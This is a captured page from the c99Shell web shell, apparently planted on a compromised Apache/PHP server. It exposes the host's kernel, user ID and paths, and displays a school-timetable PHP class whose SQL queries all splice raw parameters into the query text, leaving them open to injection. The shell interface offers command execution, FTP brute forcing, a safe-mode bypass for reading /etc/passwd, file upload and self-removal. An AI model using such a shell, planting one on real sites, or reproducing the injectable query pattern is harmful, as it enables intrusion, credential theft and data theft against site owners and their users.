!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/class/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsClassInStructor.php (3.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//--Class ClassInStructor--------------------------

include_once "clsbase_ClassInStructor.php";

class 
ClassInStructor extends base_ClassInStructor{

function 
RSClassInStructorBySeqAndClId($xKey$yKey){
    
$this->SetQuery("select * from ClassInStructor where sequenceId='$xKey' and classId='$yKey' order by sequenceId");
}

function 
RSClassInStructorByClId($xKey){
    
$this->SetQuery("select officerId from ClassInStructor where classId='$xKey' group by officerId");
}

function 
RSClassInStructorDistinctClIdOfIdByClId($xKey){
    
$this->SetQuery("select distinct classId, officerId from ClassInStructor where classId='$xKey'");
}

function 
RSClassInStructorByClIdAndOfId($xKey$yKey){
    
$this->SetQuery("select * from ClassInStructor where classId='$xKey' and officerId='$yKey'");
}

function 
RSClassInStructorByClIdAndResponsibilityIsY($xKey){
    
$this->SetQuery("select * from ClassInStructor where classId='$xKey' and responsibility='Y'");
}

function 
RSClassInStructorByClIdAndOfIdAndResponsibilityIsY($xKey$yKey){
    
$this->SetQuery("select * from ClassInStructor where classId='$xKey' and officerId='$yKey' and responsibility='Y'");
}

// Use on page addGrade.php
function SearchByClassId($xKey){
    if (
$this->SetQuery("select distinct(officerId) from ClassInStructor where classId='$xKey'")){
        return 
1;
    }else {
        return 
0;
    }
}
//-- The End --

//-- Use on page beforeShowClassTeach.php --
function SearchCISByOfId($OfId){
    
$this->SetQuery("select * from ClassInStructor where officerId='$OfId' ");
}    
//-- The end --

//-- Use on page classTable.php of teacher --
function SearchCISByOfIdAndClassId($OfId,$ClsId){
    
$this->SetQuery("select count(officerId) as num from ClassInStructor where officerId='$OfId' and classId='$ClsId'");
    
/*    if($this->SetQuery("select * from ClassInStructor where officerId='$OfId' and classId='$ClsId'")){    
        return 1;    
    }else{
        return 0;
    }*/
    
$result=$this->GetResult();
    return 
$result['num'];    
}    
//-- The end --

//--  Use on page processClass.php --
function SearchCISByAcYSeMClsIdWdRmIdS1E1OfId($AcY$SeM$WD$rmId$S1$E1$OfId){
    
$sql "SELECT count(*) as num 
            from Class c, ClassTimeTable t, ClassInStructor s 
            where c.acadYear='$AcY' and c.semester='$SeM' and c.classId=s.classId 
            and c.classId=t.classId and t.sequenceId=s.sequenceId 
            and t.weekDay='$WD' and (t.timeSlotEnd >= '$S1' and t.timeSlotStart <= '$E1') 
            and s.officerId='$OfId'"
;
    
$this->SetQuery($sql);
    
/*$this->SetQuery("SELECT count(*) as num 
                                from Class c, ClassTimeTable t, ClassInStructor s 
                                where c.acadYear='$AcY' and c.semester='$SeM' and c.classId=s.classId and 
                                c.classId=t.classId and t.weekDay='$WD' and (t.timeSlotEnd >= '$S1' and t.timeSlotStart <= '$E1') 
                                and s.officerId='$OfId'");*/
    
$result=$this->GetResult();
    return 
$result['num'];
}

function 
SearchCISByAcYSeMClsIdWdRmIdS1E1OfIdAndCoIdAndSectionAndOVL($AcY$SeM$WD$rmId$S1$E1$OfId$coId$section){
    
$sql "SELECT count(*) as num 
            from Class c, ClassTimeTable t, ClassInStructor s 
            where c.acadYear='$AcY' and c.semester='$SeM' and c.classId=s.classId 
            and c.classId=t.classId and t.sequenceId=s.sequenceId 
            and t.weekDay='$WD' and t.timeSlotStart='$S1' and t.timeSlotEnd='$E1' 
            and s.officerId='$OfId' 
            and c.courseId='$coId' and c.section!='$section' and t.overlap='Y'"
;
    
$this->SetQuery($sql);
    
$result=$this->GetResult();
    return 
$result['num'];
}

function 
CheckTeachOfficer($Seq$ClsId$OfId){
    
$this->SetQuery("SELECT count(officerId) as num from ClassInStructor where sequenceId='$Seq' and classId='$ClsId' and officerId='$OfId' ");
    
$result=$this->GetResult();
    return 
$result['num'];
}
//--  The end --

//--End class ClassInStructor--
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--